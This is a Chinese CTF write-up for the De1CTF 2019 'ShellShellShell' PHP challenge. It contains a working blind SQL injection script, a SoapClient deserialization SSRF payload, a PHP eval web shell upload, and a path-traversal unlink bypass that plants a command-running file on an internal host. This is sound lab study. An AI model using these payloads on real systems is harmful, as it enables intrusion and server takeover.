刷题[De1CTF 2019]ShellShellShell

关键字:sql注入,反序列化原生类,ssrf,绕过unlink()
这两题缝合出来的,tmd好难
https://github.com/rkmylo/ctf-write-ups/tree/master/2018-n1ctf/web/easy-php-540

https://xi4or0uji.github.io/2018/11/06/2018%E4%B8%8A%E6%B5%B7%E5%B8%82%E5%A4%A7%E5%AD%A6%E7%94%9F%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AB%9E%E8%B5%9Bweb%E9%A2%98%E8%A7%A3/
在这里插入图片描述一个登录界面,action那输入register还可以注册,这里md5的验证码使用脚本爆破

# -*- coding:utf-8 -*-
import hashlib

for num in range(10000,9999999999):
    res = hashlib.md5(str(num).encode()).hexdigest()
    if res[0:5] == "af1e5": 
        print(str(num)) 
        break

注册一个test用户登陆查看,只有一个publish的功能
在这里插入图片描述可能存在sql注入,但测试没啥反应
Dirsearch扫描目录发现有index.php~文件,是编辑器留下的备份文件

在这里插入图片描述Action的被写死在一个列表里,可以看到还有个phpinfo
把config.php~ user.php~的也看一下
User.php这有个上传但需要admin权限
在这里插入图片描述跟进上半部分这个insert函数,在config.php
在这里插入图片描述

写入的数据会先被get_column函数处理,会被用用反引号包裹起来
在这里插入图片描述关键点其实是在preg_replace那,所有的反引号转换成了单引号,那么就可以进行注入了

在这里插入图片描述使用`)去闭合,注入点在signature位置,最终执行的sql语句如图

在这里插入图片描述

# encoding=utf-8
#python2


import  requests
import string
import time

url = 'http://b3e54b20-f328-4a32-8847-660af06f9e85.node4.buuoj.cn:81/index.php?action=publish'
cookies = {"PHPSESSID": "vama32u1uclof287jhsrguv0q2"}
data = {
	"signature": "",
	"mood": 0
}
table = string.digits + string.lowercase + string.uppercase


def post():
        password = ""
        for i in range(1, 33):
                for j in table:
                    signature = "1`,if(ascii(substr((select password from ctf_users where username=0x61646d696e),%d,1))=%d,sleep(3),0))#"%(i, ord(j))			    #这儿的0x61646d696e是admin的十六进制,当然用`admin`代替也可以
                    data["signature"] = signature
			#print(data)
                    try:
                            re = requests.post(url, cookies = cookies, data = data, timeout = 3)
            #print(re.text)
                    except:
                        password += j
                        print(password)
                        break
        print(password)

def main():
	post()

if __name__ == '__main__':
	main()

密码为jaivypassword
再看到登录这里,要登录admin用户还会检测ip,且是$_SERVER['REMOTE_ADDR']无法伪造,那么只能找一个ssrf的点,进行登录
在这里插入图片描述找到一个反序列化的点可以利用php原生类soapclient反序列化进行ssrf,通过?action=phpinfo看到php开启了soap拓展,这里当不是admin身份的时候进入这个if语句,然后取出第二行的数据进行反序列化

在这里插入图片描述在这里插入图片描述

获取的是本机的ip,然后在对这段内容序列化后使用addslashes进行转义,可以利用mysql在读数据的时候会把括号内的16进制转成原来的字符串的特性绕过这个转义
在这里插入图片描述

生成序列化payload的脚本:

<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=jaivypassword&code=Ixk5iXwrUkJdacRF553V';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=gkpe4nhjg5dhv2l3kk5o6tglh4'
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>

这里的code还有PHPSESSID需要和我们准备用来登录的一样,从我们的浏览器预先生成一个会话,在本地解决验证码,并将PHPSESSID 与请求以及验证码的解决方案一起发送到验证码(验证码的解决方案与我们的会话相关联)。如果 SSRF 成功,这PHPSESSID将是一个管理员认证的会话。为了防止干扰开两个浏览器,一个打,一个准备登录
将生成的payload,打到sql注入的地方即可
上传那里没有什么阻碍,直接传即可,这里使用脚本自动化操作,https://github.com/rkmylo/ctf-write-ups/blob/master/2018-n1ctf/web/easy-php-540/solve_ssrf_rce.py 拿原题脚本改了下

#python2
import re
import sys
import string
import random
import requests
import subprocess
from itertools import product
import hashlib


_target = 'http://b3e54b20-f328-4a32-8847-660af06f9e85.node4.buuoj.cn:81/'
_action = _target + 'index.php?action='

def get_creds():
    username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
    password = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
    return username, password

def solve_code(html):
    code = re.search(r'Code\(substr\(md5\(\?\), 0, 5\) === ([0-9a-f]{5})\)', html).group(1)
    for num in range(10000,99999999):
        res = hashlib.md5(str(num).encode()).hexdigest() 
        if res[0:5] == code:  
            print(str(num))
            return str(num)
            break
    

def register(username, password):
    resp = sess.get(_action+'register')
    code = solve_code(resp.text)
    sess.post(_action+'register', data={'username':username,'password':password,'code':code})
    return True

def login(username, password):
    resp = sess.get(_action+'login')
    code = solve_code(resp.text)
    sess.post(_action+'login', data={'username':username,'password':password,'code':code})
    return True

def publish(sig, mood):
    return sess.post(_action+'publish', data={'signature':sig,'mood':mood})#, proxies={'http':'127.0.0.1:8080'})

def get_prc_now():
    # date_default_timezone_set("PRC") is not important
    return subprocess.check_output(['php', '-r', 'date_default_timezone_set("PRC"); echo time();'])

def get_admin_session():
    sess = requests.Session()
    resp = sess.get(_action+'login')
    code = solve_code(resp.text)
    return sess.cookies.get_dict()['PHPSESSID'], code

def brute_filename(prefix, ts, sessid):
    ds = [''.join(i) for i in product(string.digits, repeat=3)]
    ds += [''.join(i) for i in product(string.digits, repeat=2)]
    # find uploaded file in max 1100 requests
    for d in ds:
        f = prefix + ts + d + '.jpg'
        resp = requests.get(_target+'adminpic/'+f, cookies={'PHPSESSID':sessid})
        if resp.status_code == 200:
            return f
    return False

print '[+] creating user session to trigger ssrf'
sess = requests.Session()

username, password = get_creds()

print '[+] register({}, {})'.format(username, password)
register(username, password)

print '[+] login({}, {})'.format(username, password)
login(username, password)

print '[+] user session => ' + sess.cookies.get_dict()['PHPSESSID'] + ' '

print '[+] getting fresh session to be authenticated as admin'
phpsessid, code = get_admin_session()
print code

ssrf = 'http://127.0.0.1/\x0d\x0aContent-Length:0\x0d\x0a\x0d\x0a\x0d\x0aPOST /index.php?action=login HTTP/1.1\x0d\x0aHost: 127.0.0.1\x0d\x0aCookie: PHPSESSID={}\x0d\x0aContent-Type: application/x-www-form-urlencoded\x0d\x0aContent-Length: {}\x0d\x0a\x0d\x0ausername=admin&password=jaivypassword&code={}\x0d\x0a\x0d\x0aPOST /foo\x0d\x0a'.format(phpsessid, len(code)+43, code)
print ssrf
mood = 'O:10:\"SoapClient\":4:{{s:3:\"uri\";s:{}:\"{}\";s:8:\"location\";s:39:\"http://127.0.0.1/index.php?action=login\";s:15:\"_stream_context\";i:0;s:13:\"_soap_version\";i:1;}}'.format(len(ssrf), ssrf)
mood = '0x'+''.join(map(lambda k: hex(ord(k))[2:].rjust(2, '0'), mood))

payload = 'a`,{})#'.format(mood)

print '[+] final sqli/ssrf payload: ' + payload

print '[+] injecting payload through sqli'
resp = publish(payload, '0')

print '[+] triggering object deserialization -> ssrf'
sess.get(_action+'index')#, proxies={'http':'127.0.0.1:8080'})

print '[+] admin session => ' + phpsessid

# switching to admin session
sess = requests.Session()
sess.cookies = requests.utils.cookiejar_from_dict({'PHPSESSID': phpsessid})

print '[+] uploading stager'
shell = {'pic': ('test.php', '<?php eval($_POST[cmd]);', 'image/jpeg')}
resp = sess.post(_action+'publish', files=shell)#, proxies={'http':'127.0.0.1:8080'})
print(resp.text)
prc_now = get_prc_now()[:-1]  # get epoch immediately

if 'upload success' not in resp.text:
    print '[-] failed to upload shell, check admin session manually'
    sys.exit(0)

在这里插入图片描述

已经上传木马到/upload/test.php了蚁剑连接就行,密码cmd
根据提示在内网,打开虚拟终端,查看网卡信息,找到了内网的ip段,用插件可以扫描端口
在这里插入图片描述

用curl将页面内容保存下来,我这-O没保存成功 直接复制出去保存的

在这里插入图片描述
在这里插入图片描述

对于不是数组的filename进行了一堆严格的限制,但是没有对数组进行限制,所以我们可以考虑用数组进行绕过,要求filename的end和filename的[count-1]不能相等,那么直接传两个就行如:file[1]=111&file[2]=php
在这里插入图片描述在这里插入图片描述

这里保存文件使用的随机文件名,以及最后的unlink删除文件,构造目录穿越的文件名进行绕过/…/shell.php
参考:https://blog.csdn.net/a3320315/article/details/104132751
在这里插入图片描述

利用postman构造phpcurl包
在这里插入图片描述

这里的file那shell.php的内容为

@<?php echo `find /etc -name *flag* -exec cat {} +`;

在这里插入图片描述

hello那的名字要和上传的文件名字一样,不然就访问不到了
在这里插入图片描述

Code那生成代码,但生成的并没有shell.php的内容,需要自己添加,参考赵总的,我这里懒得登录上传直接在蚁剑那新建了一个,保存完直接访问即可

<?php

$curl = curl_init();

curl_setopt_array($curl, array(
  CURLOPT_URL => 'http://10.0.97.6',
  CURLOPT_RETURNTRANSFER => true,
  CURLOPT_ENCODING => '',
  CURLOPT_MAXREDIRS => 10,
  CURLOPT_TIMEOUT => 0,
  CURLOPT_FOLLOWLOCATION => true,
  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  CURLOPT_CUSTOMREQUEST => 'POST',
  CURLOPT_POSTFIELDS => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"shell.php\"\r\nContent-Type: false\r\n\r\n@<?php echo `find /etc -name *flag* -exec cat {} +`;\r\n\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"hello\"\r\n\r\ntest.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[1]\"\r\n\r\n111\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[2]\"\r\n\r\n/../test.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nSubmit\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--",
  CURLOPT_HTTPHEADER => array(
    "Postman-Token: a23f25ff-a221-47ef-9cfc-3ef4bd560c22",
    "cache-control: no-cache",
    "content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW"
  ),
));

$response = curl_exec($curl);

curl_close($curl);
echo $response;

在这里插入图片描述在这里插入图片描述

当然这里上传文件的步骤也可以在虚拟终端里直接用curl,上传一个shell.php到终端同目录下

@<?php echo `find /etc -name *flag* -exec cat {} +`;

如果使用了-F参数,curl就会以 multipart/form-data
的方式发送POST请求。-F参数以name=value的方式来指定参数内容,如果值是一个文件,则需要以name=@file的方式来指定。

curl 'http://10.0.97.6' -F 'hello=test.php' -F 'file=@shell.php' -F 'file[1]=111' -F 'file[2]=./../test.php'

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值